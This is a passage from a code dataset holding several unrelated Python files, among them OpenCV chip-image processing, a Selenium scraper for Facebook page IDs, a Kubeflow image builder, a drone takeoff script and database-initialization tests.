| cv2.THRESH_OTSU)\n #中值去噪,也称为椒盐去噪\n blur = cv2.medianBlur(dst, 5)\n #ImgShow(blur)\n #拼接文件名\n filename, extension = os.path.splitext(tempfilename)\n filename=filename+str('_binary')+extension\n filepath = os.path.join(\"../images/ImgSave\",filename)\n filepath=filepath.replace('\\\\','/')\n print(filepath)\n cv2.imwrite(filepath, blur)\n #img=cv2.imread(filepath)\n return blur,filepath\n\ndef CreateTxtFile(row_index,col_index,col_end):\n #按照(x,y)格式保存四个顶点 左上角-右上角-右下角-左下角-左上角,一个闭形循环\n vertex1 = str(col_index)+':'+str(row_index)\n vertex2 = str(col_end) + ':' +str(row_index)\n with open('data/data_format.txt', 'a') as file_handle:\n #file_handle.write('BOUNDARY') # 开始写入数据\n file_handle.write('\\n') # 自动换行\n file_handle.write('PATH\\n')\n file_handle.write('LAYER 50\\n')\n file_handle.write('DATATYPE 0\\n')\n #给甲方的时候 WIDTH=10 WIDTH=1代表0.002um 一个像素点对应0.02um\n file_handle.write('WIDTH 1\\n')\n file_handle.write('XY'+' '+vertex1) #左上角顶点\n file_handle.write('\\n')\n file_handle.write(vertex2) #右上角顶点\n file_handle.write('\\n')\n file_handle.write('ENDEL')\n file_handle.write('\\n')\n return 0\n\ndef CreateTxtFileHead():\n with open('data/data_format.txt', 'w') as file_handle:\n file_handle.write('HEADER 600 ') # 开始写入数据\n file_handle.write('\\n') # 自动换行\n file_handle.write('BGNLIB 3/10/2021 17:35:23 3/10/2021 17:35:23 ')\n file_handle.write('\\n')\n file_handle.write('LIBNAME DEFAULT')\n file_handle.write('\\n')\n file_handle.write('UNITS 0.001 1e-009')\n file_handle.write('\\n')\n file_handle.write(' ')\n file_handle.write('\\n')\n file_handle.write('BGNSTR 3/10/2021 17:35:23 3/10/2021 17:35:23 ')\n file_handle.write('\\n')\n file_handle.write('STRNAME VIA1')\n file_handle.write('\\n')\n file_handle.write(' ')\n file_handle.write('\\n')\n return 0\n\ndef CreateTxtFileTail():\n with open('data/data_format.txt', 'a') as file_handle:\n file_handle.write('ENDSTR') # 开始写入数据\n file_handle.write('\\n') # 自动换行\n file_handle.write('ENDLIB')\n file_handle.write('\\n')\n return 0\n\ndef EvaluationIndex(img):\n i=img\n img_b = img[:, :, 0]\n CSet=pd.read_csv('CoordinateSet.csv')\n print(CSet.loc[0,'small_col'],CSet.shape[0])\n t=0 #像素点重叠超过90%的个数\n for i in range(0,CSet.shape[0]):\n small_col=CSet.loc[i,'small_col']\n small_row=CSet.loc[i,'small_row']\n big_col=CSet.loc[i,'big_col']\n big_row=CSet.loc[i,'big_row']\n #print(small_col,small_row,big_col,big_row)\n count=0\n for c in range(small_col,big_col+1):\n for r in range(small_row,big_row+1):\n if(img_b[r,c]>127):\n count=count+1\n else:\n continue\n ConIndex= count/((big_row-small_row+1)*(big_col-small_col+1))\n #print(ConIndex,count)\n if(ConIndex>0.96):\n t=t+1\n cv2.rectangle(img, (small_col, small_row), (big_col, big_row), (0, 0, 255), 1)\n else:\n cv2.rectangle(img, (small_col, small_row), (big_col, big_row), (0, 255, 0), 1)\n\n acc=t/CSet.shape[0]\n cv2.putText(img, 'ACC:'+str('%.2f%%' % (acc*100)), (75, 75), cv2.FONT_HERSHEY_SIMPLEX,\n 0.7, (0, 0, 255), 2, cv2.LINE_AA)\n cv2.putText(img, 'RedLine:' + 'True', (300, 75), cv2.FONT_HERSHEY_SIMPLEX,\n 0.7, (0, 0, 255), 2, cv2.LINE_AA)\n cv2.putText(img, 'GreenLine:' + 'False', (500, 75), cv2.FONT_HERSHEY_SIMPLEX,\n 0.7, (0, 255, 0), 2, cv2.LINE_AA)\n print(\"检测的正确率:\",'%.2f%%' % (acc*100))\n print(\"检测的错误率:\", '%.2f%%' % ((1-acc) * 100))\n cv2.namedWindow('image', 0)\n cv2.resizeWindow('image', 900, 700)\n cv2.imshow('image', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n return 0\n\ndef ImgShow(img):\n cv2.namedWindow('image', 0)\n cv2.resizeWindow('image', 900, 700)\n cv2.imshow('image', img)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\ndef ChannelExtraction(path):\n I = cv2.imread(path)\n i = I[:, :, 2]\n content, tempfilename = os.path.split(path)\n filename, extension = os.path.splitext(tempfilename)\n binary_filename =filename+str('_channel2_binary')+extension\n filename=filename+str('_channel2')+extension\n filepath = os.path.join(\"images/ImgSave\", filename)\n binary_filepath = os.path.join(\"images/ImgSave\", binary_filename)\n filepath = filepath.replace('\\\\', '/')\n binary_filepath=binary_filepath.replace('\\\\', '/')\n #print(filepath,filename)\n cv2.imwrite(filepath,i)\n retval, dst = cv2.threshold(i, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n cv2.imwrite(binary_filepath, dst)\n print(retval)\n #dst = cv2.blur(dst, (5,5))\n #ImgShow(dst)\n return dst\n\ndef img_seg(path):\n img = cv2.imread(path, -1)\n src=img[:,:,2]\n cnt = 1\n num = 1\n sub_images = []\n sub_image_num = 4\n src_height, src_width = src.shape[0], src.shape[1]\n sub_height = src_height // sub_image_num\n sub_width = src_width // sub_image_num\n for j in range(sub_image_num):\n for i in range(sub_image_num):\n if j < sub_image_num - 1 and i < sub_image_num - 1:\n image_roi = src[j * sub_height: (j + 1) * sub_height, i * sub_width: (i + 1) * sub_width]\n elif j < sub_image_num - 1:\n image_roi = src[j * sub_height: (j + 1) * sub_height, i * sub_width:]\n elif i < sub_image_num - 1:\n image_roi = src[j * sub_height:, i * sub_width: (i + 1) * sub_width]\n else:\n image_roi = src[j * sub_height:, i * sub_width:]\n sub_images.append(image_roi)\n for i, img in enumerate(sub_images):\n cv2.imwrite('images/ImgSave/'+'sub_img_' + str(i) + '.png', img)\n #retval, dst = cv2.threshold(img, 0, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n retval, dst = cv2.threshold(img, 105, 255, cv2.THRESH_BINARY)\n cv2.imwrite('images/ImgSave/' + 'sub_img_binary' + str(i) + '.png', dst)\n print(retval)\n return 0\n\n#定义均值滤波器函数\ndef meanKernel(center,matrix,k): #center:要替换点的坐标,matrix:目标所在kernel矩阵,k:近邻数\n matrix = matrix.astype('int')\n list1 = [[abs(i-center),i] for i in matrix.ravel()] #对目标所在的矩阵平铺展开,然后相减,然后排序,前k个对应的\n list1.sort()\n return round(np.array(list1)[:k,1].mean()) # round() 方法返回浮点数x的四舍五入值。\n\ndef KNN(img,kernel,k):\n result_img = img.copy()\n for i in range(result_img.shape[0]-kernel+1): #(0,3)\n for j in range(result_img.shape[0]-kernel+1):\n #中心点(1,1)= K近邻(KNNF)均值滤波器\n result_img[i+int(kernel/2)][j+int(kernel/2)] = meanKernel(result_img[i+int(kernel/2)][j+int(kernel/2)],img[i:i+kernel,j:j+kernel],5)\n return result_img\n\ndef HoleMatch(tem_path,img_path):\n #读取图片时,若加上‘0’则表示读入灰度图,无需cv2.cvtColor函数\n template=cv2.imread(tem_path,0)\n img=cv2.imread(img_path,0)\n h,w=template.shape[:2] # rows->h, cols->w\n\n # 相关系数匹配方法: cv2.TM_CCOEFF\n #匹配函数返回的是一幅灰度图,最白的地方表示最大的匹配。\n #使用cv2.minMaxLoc()函数可以得到最大匹配值的坐标,以这个点为左上角角点,模板的宽和高,画矩形\n res = cv2.matchTemplate(img, template, cv2.TM_CCOEFF)\n min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(res)\n left_top = max_loc # 左上角\n right_bottom = (left_top[0] + w, left_top[1] + h) # 右下角\n cv2.rectangle(img, left_top, right_bottom, 255, 10) # 画出矩形位置\n print(right_bottom)\n # plt.subplot(121), plt.imshow(res, cmap='gray')\n # plt.title('Matching Result'), plt.xticks([]), plt.yticks([])\n #\n # plt.subplot(122), plt.imshow(img, cmap='gray')\n # plt.title('Detected Point'), plt.xticks([]), plt.yticks([])\n # plt.show()\n ImgShow(img)\n return 0\n\ndef mulHoleMatch(tem_path,img_path):\n # 1. 读入原图和模板\n template = cv2.imread(tem_path, 0)\n img = cv2.imread(img_path)\n h, w = template.shape[:2] # rows->h, cols->w\n img_gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n # 归一化平方差匹配\n res = cv2.matchTemplate(img_gray, template, cv2.TM_CCOEFF_NORMED)\n threshold = 0.55\n\n # 这段代码后面会有解释\n loc = np.where(res >= threshold) # 匹配程度大于80%的坐标y,x\n for pt in zip(*loc[::-1]): # *号表示可选参数\n right_bottom = (pt[0] + w, pt[1] + h)\n print(right_bottom)\n cv2.rectangle(img, pt, right_bottom, (0, 0, 255), 5)\n ImgShow(img)\n return 0\n\ndef EqualizationBinary(path):\n img = cv2.imread(path)\n for i in range(img.shape[0]):\n for j in range(img.shape[1]):\n gap=max(img[i,j,:])-min(img[i,j,:])\n if (gap < 30 and max(img[i, j, :]) < 150 and min(img[i,j,:]>50)):\n continue\n else:\n img[i,j,:]=0\n return img\n\ndef denoise(path):\n img = cv2.imread(path)\n B, G, R = cv2.split(img)\n for i in range(4042, 8734):\n for j in range(2999, 11010):\n if ((6163 < i < 6288) and (3786 < j < 8640)):\n if (R[i, j] < 63):\n img[i, j, :] = 0\n else:\n if (R[i, j] < 70):\n img[i, j, :] = 0\n cv2.imwrite(\"images/ImgSave/M1_E_R72.png\", img, [cv2.IMWRITE_PNG_COMPRESSION, 0])\n return img\n\ndef edgedetection(path):\n img = cv2.imread(path,0)\n edges=cv2.Canny(img,85,200)\n plt.subplot(121), plt.imshow(img, cmap='gray')\n plt.title('Original Image'), plt.xticks([]), plt.yticks([])\n plt.subplot(122), plt.imshow(edges, cmap='gray')\n plt.title('Edge Image'), plt.xticks([]), plt.yticks([])\n plt.show()\n return edges\n\nif __name__ == \"__main__\":\n path = 'images/OrImg/M1.png'\n #tem_path = 'images/ImgSave/M1_tem.png'\n #img = edgedetection(path)\n img = cv2.imread(path)\n template=img[6580:6754,6864:7670,:]\n cv2.imwrite(\"images/ImgSave/M1_tem2.png\", template,[cv2.IMWRITE_PNG_COMPRESSION, 0])\n #mulHoleMatch(tem_path, path)\n #img=EqualizationBinary(path)\n\n\n #通道分离\n # B, G, R = cv2.split(img)\n # plt.subplot(311), plt.hist(R.ravel(), 256, [0, 256]), plt.title('R')\n # plt.subplot(312), plt.hist(G.ravel(), 256, [0, 256]), plt.title('G')\n # plt.subplot(313), plt.hist(B.ravel(), 256, [0, 256]), plt.title('B')\n # plt.show()\n\n\n #ImgShow(template)\n\n #img_seg(path)\n #img=ChannelExtraction(path)\n #result=KNN(img,7,5)\n\n #i = cv2.imread(path)\n #dst = cv2.blur(i, (7, 7))\n #cv2.imwrite(\"images/ImgSave/M1_channel2_binary_blur.jpg\", dst)\n\n #GlobalDect(i)\n #img=ChannelExtraction(path)\n #ImgShow(img)\n #img=cv2.imread(path)\n #i = image_binarization(img, path)\n\n #i=image_binarization(img,path)\n #ImgShow(i)\n #EvaluationIndex(i)\n\n\n\n","repo_name":"HITSZ-AI/ChipTest","sub_path":"NewLine.py","file_name":"NewLine.py","file_ext":"py","file_size_in_byte":16074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6992179267","text":"import re\nimport os\nimport time\nfrom selenium.webdriver.support import expected_conditions as EC\nimport json\nimport requests\nimport django\nfrom bs4 import BeautifulSoup\nfrom selenium import webdriver\nfrom selenium.common.exceptions import TimeoutException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.wait import WebDriverWait\n\nos.environ['DJANGO_SETTINGS_MODULE'] = 'Active_Adds.settings'\ndjango.setup()\nfrom Advertisement.models import Category,Advertisers\n\n\ndef Get_PageID(link):\n result = requests.get(str(link))#, proxies=proxies, headers=headers)\n try:\n result = result.text\n profile_id = re.search(r\"page_id=[0-9]+\", result)\n profile_id = re.search(r\"[0-9]+\", profile_id.group()).group()\n # print(profile_id)\n if profile_id!=\"None\":\n\n # FacebookDatapages.objects.filter(pk=getid).update(page_id=profile_id)\n print(profile_id)\n print(\"save\")\n # return profile_id\n # break\n\n # pass\n else:\n pass\n\n except:\n pass\n\n# for data in FacebookDatapages.objects.values('fb_page_link'):\n# link=data['fb_page_link']\n# print(Get_PageID(link))\n\n\ndef selenium_pageid(name,get_id):\n CHROMEDRIVER_PATH = \"driver/chromedriver\"\n\n from pyvirtualdisplay import Display\n display = Display(visible=0, size=(1024, 768))\n display.start()\n # # vdisplay = xvfbwrapper.Xvfb()\n # vdisplay.start()\n\n # launch stuff inside virtual display here\n\n # vdisplay.stop()\n chromeoptions = webdriver.ChromeOptions()\n chromeoptions.add_argument('--disable-notifications')\n chromeoptions.add_argument('--disable-dev-shm-usage')\n chromeoptions.add_argument('--shm-size=2g')\n chromeoptions.add_argument('--no-sandbox')\n chromeoptions.add_argument('--headless')\n chromeoptions.add_argument('--ignore-certificate-errors')\n browser = webdriver.Chrome(executable_path=CHROMEDRIVER_PATH, chrome_options=chromeoptions)\n\n # browser=from_browser()\n while True:\n try:\n browser.get(\"https://lookup-id.com/#\")\n browser.find_element_by_xpath(\"/html/body/div[4]/form/header/div/div[1]/div/input[1]\").send_keys(str(name))\n browser.find_element_by_xpath(\"/html/body/div[4]/form/header/div/div[1]/div/input[2]\").click()\n time.sleep(5)\n test=browser.find_element_by_xpath(\"/html/body/div[4]/form/header/div/div[3]/div/p[2]/span[1]\").text\n # FacebookDatapages.objects.filter(pk=get_id).update(page_id=test)\n print(\"save\")\n break\n except:\n pass\nif __name__ == '__main__':\n def from_browser():\n # from pyvirtualdisplay import Display\n # display = Display(visible=0, size=(1024, 768))\n # display.start()\n # # vdisplay = xvfbwrapper.Xvfb()\n # vdisplay.start()\n\n browser = webdriver.Firefox(executable_path=\"driver/geckodriver1\")\n return browser\n\n def test(s,n):\n from selenium.webdriver.common.keys import Keys\n browser=from_browser()\n browser.get(\"https://megritools.com/bulk-facebook-id-finder\")\n\n for data in Advertisers.objects.values('fb_page_link').order_by(\"id\")[s:n]:\n print(str(data['fb_page_link']))\n # browser.find_element_by_css_selector(\"#linksBox\").send_keys(str(data['fb_page_link'])+Keys.ENTER)\n # browser.find_element_by_css_selector(\"#checkButton\").click()\n # time.sleep(30)\n # soup=BeautifulSoup(browser.page_source, 'lxml')\n #\n # for table in soup.find_all('table',{'id':'resTable'}):\n # num=0\n # for tr in table.find_all('tr')[1:]:\n # # td = tr.find_all('td')\n # link=tr.find('td',{'id':'link-'+str(num)})\n # print(link.text)\n # page_number=tr.find('td',{'id':'status-'+str(num)}).text\n # print(page_number)\n # num=num+1\n\n\n # test(1,25)\n\n def get_link(s,n):\n browser = from_browser()\n\n print(\"HERE\")\n browser.get(\"https://megritools.com/bulk-facebook-id-finder\")\n for data in Advertisers.objects.values('id','fb_page_link').filter(fb_page_id__isnull=True).order_by(\"id\")[s:n]:\n\n browser.get(\"https://megritools.com/bulk-facebook-id-finder\")\n print(data['fb_page_link'])\n browser.find_element_by_css_selector(\"#linksBox\").send_keys(str(data['fb_page_link']))\n browser.find_element_by_css_selector(\"#checkButton\").click()\n try:\n element_present = EC.presence_of_element_located((By.XPATH, '//*[@id=\"status-0\"]/b'))\n WebDriverWait(browser, 50).until(element_present)\n page_id=browser.find_element_by_xpath(\"//*[@id='status-0']\").text\n print(page_id)\n # obj = Advertisers.objects.get(pk=data['id'])\n # obj.fb_page_id = str(page_id)\n # obj.save()\n\n # facebooksave = Advertisers.(\n # fb_page_id=str(page_id)\n #\n # )\n # facebooksave.save()\n print(\"save////////////////////////\")\n except TimeoutException:\n print(element_present)\n \"Timed out waiting for page to load\"\n\n def hots_name(country_id):\n host_name_list=[]\n req = requests.get(\"https://nordvpn.com/wp-admin/admin-ajax.php?action=servers_recommendations&filters={%22country_id%22:\"+str(country_id)+\"}\")\n json_convert = json.loads(req.text)\n # print(json_convert)\n for data in json_convert:\n try:\n server_name = data['hostname']\n host_name_list.append(server_name)\n # print(server_name)\n except:\n pass\n return host_name_list\n\n\n # get_link(0,10)\n from multiprocessing import Process\n\n # starttime = time.time()\n # processes = []\n # start = 0\n # end = 600\n # for i in range(0, 10):\n # p = Process(target=get_link, args=(start, end,))\n # processes.append(p)\n # start = end\n # end = end + 600\n # p.start()\n # time.sleep(2)\n # for process in processes:\n # process.join()\n # time.sleep(2)","repo_name":"generateintel/Facebook_Add_Library_Backend","sub_path":"Facebook_page_id.py","file_name":"Facebook_page_id.py","file_ext":"py","file_size_in_byte":6384,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"7945195159","text":"import logging\nimport uuid\n\nfrom kubernetes import client\n\nfrom fairing.builders.base_builder import BaseBuilder\nfrom fairing.builders import dockerfile\nfrom fairing.constants import constants\nfrom fairing.kubernetes.manager import KubeManager\nfrom fairing.builders.cluster import gcs_context\n\nlogger = logging.getLogger(__name__)\n\n\nclass ClusterBuilder(BaseBuilder):\n \"\"\"Builds a docker image in a Kubernetes cluster.\n\n\n Args:\n registry (str): Required. Registry to push image to\n Example: gcr.io/kubeflow-images\n base_image (str): Base image to use for the image build\n preprocessor (BasePreProcessor): Preprocessor to use to modify inputs\n before sending them to docker build\n context_source (ContextSourceInterface): context available to the\n cluster build\n push {bool} -- Whether or not to push the image to the registry\n \"\"\"\n def __init__(self,\n registry=None,\n image_name=constants.DEFAULT_IMAGE_NAME,\n context_source=None,\n preprocessor=None,\n push=True,\n base_image=constants.DEFAULT_BASE_IMAGE,\n pod_spec_mutators=None,\n namespace=\"kubeflow\",\n dockerfile_path=None):\n super().__init__(\n registry=registry,\n image_name=image_name,\n push=push,\n preprocessor=preprocessor,\n base_image=base_image,\n )\n self.manager = KubeManager()\n if context_source is None:\n raise RuntimeError(\"context_source is not specified\")\n self.context_source = context_source\n self.pod_spec_mutators = pod_spec_mutators or []\n self.namespace = namespace\n\n def build(self):\n logging.info(\"Building image using cluster builder.\")\n install_reqs_before_copy = self.preprocessor.is_requirements_txt_file_present()\n dockerfile_path = dockerfile.write_dockerfile(\n dockerfile_path=self.dockerfile_path,\n path_prefix=self.preprocessor.path_prefix,\n base_image=self.base_image,\n install_reqs_before_copy=install_reqs_before_copy\n )\n self.preprocessor.output_map[dockerfile_path] = 'Dockerfile'\n context_path, context_hash = self.preprocessor.context_tar_gz()\n self.image_tag = self.full_image_name(context_hash)\n self.context_source.prepare(context_path)\n labels = {'fairing-builder': 'kaniko'}\n labels['fairing-build-id'] = str(uuid.uuid1())\n pod_spec = self.context_source.generate_pod_spec(self.image_tag, self.push)\n for fn in self.pod_spec_mutators:\n fn(self.manager, pod_spec, self.namespace)\n build_pod = client.V1Pod(\n api_version=\"v1\",\n kind=\"Pod\",\n metadata=client.V1ObjectMeta(\n generate_name=\"fairing-builder-\",\n labels=labels,\n namespace=self.namespace,\n ),\n spec=pod_spec\n )\n created_pod = client. \\\n CoreV1Api(). \\\n create_namespaced_pod(self.namespace, build_pod)\n self.manager.log(\n name=created_pod.metadata.name,\n namespace=created_pod.metadata.namespace,\n selectors=labels)\n\n # clean up created pod and secret\n self.context_source.cleanup()\n client.CoreV1Api().delete_namespaced_pod(\n created_pod.metadata.name,\n created_pod.metadata.namespace,\n body=client.V1DeleteOptions())\n","repo_name":"chaitanyak52/fairing","sub_path":"fairing/builders/cluster/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"17938305833","text":"#!/usr/bin/env python\n\"\"\"\nSimple MAVROS pose controller.\n\nAUTHOR: Harshal Deshpande\n\"\"\"\n\nimport rospy\nfrom dronecontroller import *\nfrom mavros_msgs.srv import CommandBool\n\n\ndef main():\n global my_drone\n my_drone.arm()\n my_drone.fill_buffer()\n new_rate = rospy.Rate(100)\n\n result = my_drone.mode_service(custom_mode=\"OFFBOARD\")\n print(\"setting mode: \", result)\n \n while not rospy.is_shutdown():\n if my_drone.current_state.mode != \"OFFBOARD\":\n # print ('offboard acheived')\n my_drone.mode_service(base_mode=0, custom_mode=\"OFFBOARD\")\n # my_drone.rate.sleep()\n\n my_drone.set_pos(0,0,5)\n # my_drone.rate.sleep()\n new_rate.sleep()\n\n\nif __name__ == \"__main__\":\n rospy.init_node(\"drone_control\",disable_signals=True)\n my_drone = DroneController()\n try:\n main()\n except KeyboardInterrupt:\n # print(\"In keyboard interrupt...\")\n my_drone.land()","repo_name":"hardesh/mavros_control","sub_path":"scripts/takeoff.py","file_name":"takeoff.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"6813479875","text":"import math\n\nleiviskä = float(input(\"Anna leviskät:\"))\nnaula = float(input(\"Anna nauloja:\"))\nluoti = float(input(\"Anna Luotoja:\"))\n\nvastaus1 = (leiviskä * 20) * 32 * 13.3\nvastaus2 = (naula * 32) * 13.3\nvastaus3 = luoti * 13.3\nGramma = vastaus3 + vastaus2 + vastaus1\nKG = int(Gramma / 1000)\n\nleft_overs = math.floor(Gramma % 1000)\n\nprint(f\"{KG} Kilo ja {left_overs} Gramma\")\n","repo_name":"bbyfxd/python-harjoitukset","sub_path":"teht_2.5.py","file_name":"teht_2.5.py","file_ext":"py","file_size_in_byte":377,"program_lang":"python","lang":"fi","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"15749926180","text":"from __future__ import division\nfrom unittest import SkipTest\nfrom spynnaker.pyNN.exceptions import ConfigurationException\nimport spynnaker8 as sim\nfrom p8_integration_tests.scripts.checker import check_data\n\nCHIPS_PER_BOARD_EXCLUDING_SAFETY = 43.19\n\n\nclass ManyBoards(object):\n\n def add_pop(self, x, y, n_neurons, input):\n pop = sim.Population(\n n_neurons, sim.IF_curr_exp(), label=\"pop_{}_{}\".format(x, y))\n pop.add_placement_constraint(x=x, y=y)\n sim.Projection(input, pop, sim.AllToAllConnector(),\n synapse_type=sim.StaticSynapse(weight=5, delay=1))\n pop.record(\"all\")\n return pop\n\n def setup(self, n_boards, n_neurons, simtime):\n sim.setup(timestep=1.0, n_boards_required=n_boards)\n try:\n machine = sim.get_machine()\n except ConfigurationException as oops:\n if \"Failure to detect machine \" in str(oops):\n raise SkipTest(\"You Need at least {} boards to run this test\"\n .format(n_boards))\n raise(oops)\n\n input_spikes = list(range(0, simtime - 100, 10))\n self._expected_spikes = len(input_spikes)\n input = sim.Population(1, sim.SpikeSourceArray(\n spike_times=input_spikes), label=\"input\")\n self._pops = []\n for i, chip in enumerate(machine.ethernet_connected_chips):\n if i >= n_boards:\n break\n offset = machine.BOARD_48_CHIPS[i % 48]\n x = chip.x + offset[0]\n y = chip.y + offset[1]\n # safety code in case there is a hole in the board\n if not machine.is_chip_at(x, y):\n x = chip.x\n y = chip.y\n self._pops.append(self.add_pop(x, y, n_neurons, input))\n\n def do_run(self, n_boards, n_neurons, simtime):\n self._simtime = simtime\n self.setup(n_boards=n_boards, n_neurons=n_neurons, simtime=simtime)\n sim.run(simtime)\n return sim\n\n def check_all_data(self):\n for pop in self._pops:\n check_data(pop, self._expected_spikes, self._simtime)\n\n\nif __name__ == '__main__':\n \"\"\"\n main entrance method\n \"\"\"\n me = ManyBoards()\n run = me.do_run(n_boards=10, n_neurons=2, simtime=300)\n me.check_all_data()\n run.end()\n","repo_name":"apdavison/sPyNNaker8","sub_path":"p8_integration_tests/scripts/manyBoards.py","file_name":"manyBoards.py","file_ext":"py","file_size_in_byte":2314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"15934807111","text":"\nimport types\n__all__ = ['getargspec', 'formatargspec']\ndef ismethod(object):\n return isinstance(object, types.MethodType)\ndef isfunction(object):\n return isinstance(object, types.FunctionType)\ndef iscode(object):\n return isinstance(object, types.CodeType)\nCO_OPTIMIZED, CO_NEWLOCALS, CO_VARARGS, CO_VARKEYWORDS = 1, 2, 4, 8\ndef getargs(co):\n if not iscode(co):\n raise TypeError('arg is not a code object')\n nargs = co.co_argcount\n names = co.co_varnames\n args = list(names[:nargs])\n for i in range(nargs):\n if args[i][:1] in ['', '.']:\n raise TypeError(\"tuple function arguments are not supported\")\n varargs = None\n if co.co_flags & CO_VARARGS:\n varargs = co.co_varnames[nargs]\n nargs = nargs + 1\n varkw = None\n if co.co_flags & CO_VARKEYWORDS:\n varkw = co.co_varnames[nargs]\n return args, varargs, varkw\ndef getargspec(func):\n if ismethod(func):\n func = func.__func__\n if not isfunction(func):\n raise TypeError('arg is not a Python function')\n args, varargs, varkw = getargs(func.__code__)\n return args, varargs, varkw, func.__defaults__\ndef getargvalues(frame):\n args, varargs, varkw = getargs(frame.f_code)\n return args, varargs, varkw, frame.f_locals\ndef joinseq(seq):\n if len(seq) == 1:\n return '(' + seq[0] + ',)'\n else:\n return '(' + ', '.join(seq) + ')'\ndef strseq(object, convert, join=joinseq):\n if type(object) in [list, tuple]:\n return join([strseq(_o, convert, join) for _o in object])\n else:\n return convert(object)\ndef formatargspec(args, varargs=None, varkw=None, defaults=None,\n formatarg=str,\n formatvarargs=lambda name: '*' + name,\n formatvarkw=lambda name: '**' + name,\n formatvalue=lambda value: '=' + repr(value),\n join=joinseq):\n specs = []\n if defaults:\n firstdefault = len(args) - len(defaults)\n for i in range(len(args)):\n spec = strseq(args[i], formatarg, join)\n if defaults and i >= firstdefault:\n spec = spec + formatvalue(defaults[i - firstdefault])\n specs.append(spec)\n if varargs is not None:\n specs.append(formatvarargs(varargs))\n if varkw is not None:\n specs.append(formatvarkw(varkw))\n return '(' + ', '.join(specs) + ')'\ndef formatargvalues(args, varargs, varkw, locals,\n formatarg=str,\n formatvarargs=lambda name: '*' + name,\n formatvarkw=lambda name: '**' + name,\n formatvalue=lambda value: '=' + repr(value),\n join=joinseq):\n def convert(name, locals=locals,\n formatarg=formatarg, formatvalue=formatvalue):\n return formatarg(name) + formatvalue(locals[name])\n specs = [strseq(arg, convert, join) for arg in args]\n if varargs:\n specs.append(formatvarargs(varargs) + formatvalue(locals[varargs]))\n if varkw:\n specs.append(formatvarkw(varkw) + formatvalue(locals[varkw]))\n return '(' + ', '.join(specs) + ')'\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_1/555.py.transformed.py.transformed.py","file_name":"555.py.transformed.py.transformed.py","file_ext":"py","file_size_in_byte":3105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27205718893","text":"# -*- coding: utf-8 -*-\n\"\"\" Tests for the `initializedb` script.\"\"\"\nimport os\n\nfrom sqlalchemy.exc import OperationalError as SqlAlchemyOperationalError\n\nfrom anuket.models import Base\nfrom anuket.models.migration import version_table\nfrom anuket.tests import AnuketScriptTestCase\n\n\nclass TestInitializeDBCommand(AnuketScriptTestCase):\n \"\"\" Tests for the `initialize_db` and `run` methods.\"\"\"\n def setUp(self):\n super(TestInitializeDBCommand, self).setUp()\n Base.metadata.drop_all()\n # drop the alembic_version table\n try:\n version_table.drop(self.engine)\n except SqlAlchemyOperationalError: # pragma: no cover\n pass\n\n def tearDown(self):\n super(TestInitializeDBCommand, self).tearDown()\n Base.metadata.drop_all()\n # drop the alembic_version table\n try:\n version_table.drop(self.engine)\n except SqlAlchemyOperationalError: # pragma: no cover\n pass\n\n def _getTargetClass(self):\n from anuket.scripts.initializedb import InitializeDBCommand\n return InitializeDBCommand\n\n def _makeOne(self):\n cmd = self._getTargetClass()([])\n return cmd\n\n def test_run_no_args(self):\n \"\"\" Test the `run` method without positional argument.\"\"\"\n # no args must error code 2 (and display an help message)\n command = self._makeOne()\n result = command.run()\n self.assertEqual(result, 2)\n self.assertEqual(self.output.getvalue()[0:6], \"usage:\")\n\n def test_run_config_uri(self):\n \"\"\" Test the `run` method with a `config_uri` positional argument.\"\"\"\n command = self._makeOne()\n command.args.config_uri = self.config_uri\n result = command.run()\n self.assertEqual(result, 0)\n self.assertEqual(self.output.getvalue().rstrip(\"\\n\"),\n \"Database initialization done.\")\n\n def test_initialize_db_config_uri(self):\n \"\"\" Test than the `initialize_db` method create the database.\"\"\"\n command = self._makeOne()\n command.args.config_uri = self.config_uri\n result = command.initialize_db()\n self.assertEqual(result, 0)\n self.assertEqual(self.output.getvalue().rstrip(\"\\n\"),\n \"Database initialization done.\")\n\n def test_initialize_db_default_values(self):\n \"\"\" Test than the `initialize_db` method add the default values to the\n initialized database.\n \"\"\"\n command = self._makeOne()\n command.args.config_uri = self.config_uri\n command.initialize_db()\n from anuket.models.auth import AuthUser\n user = self.DBSession.query(AuthUser).filter_by().first()\n self.assertEqual(user.username, u'admin')\n self.assertTrue(AuthUser.check_password(u'admin', u'admin'))\n self.assertEqual(user.group.groupname, u'admins')\n\n def test_initialize_db_with_revision(self):\n \"\"\" Test than the `initialize_db` method fail if the database is\n already versioned.\n \"\"\"\n import transaction\n from anuket.models.migration import Migration\n version_table.create(self.engine)\n with transaction.manager:\n alembic_version = Migration()\n alembic_version.version_num = u'revid'\n self.DBSession.add(alembic_version)\n self.DBSession.remove()\n\n command = self._makeOne()\n command.args.config_uri = self.config_uri\n result = command.initialize_db()\n self.assertEqual(result, 1)\n self.assertEqual(self.output.getvalue().rstrip(\"\\n\"),\n \"This database is versioned. \"\n \"Use the upgrade script instead!\")\n\n def test_initialize_db_integrity_error(self):\n \"\"\" Test than the `initialize_db` method fail if a SqlAlchemy\n ``IntegrityError`` occur because there is already an `admins` group in\n the database.\n \"\"\"\n import transaction\n from anuket.models.auth import AuthGroup\n Base.metadata.create_all()\n with transaction.manager:\n admins_group = AuthGroup()\n admins_group.groupname = u'admins'\n self.DBSession.add(admins_group)\n self.DBSession.remove()\n\n command = 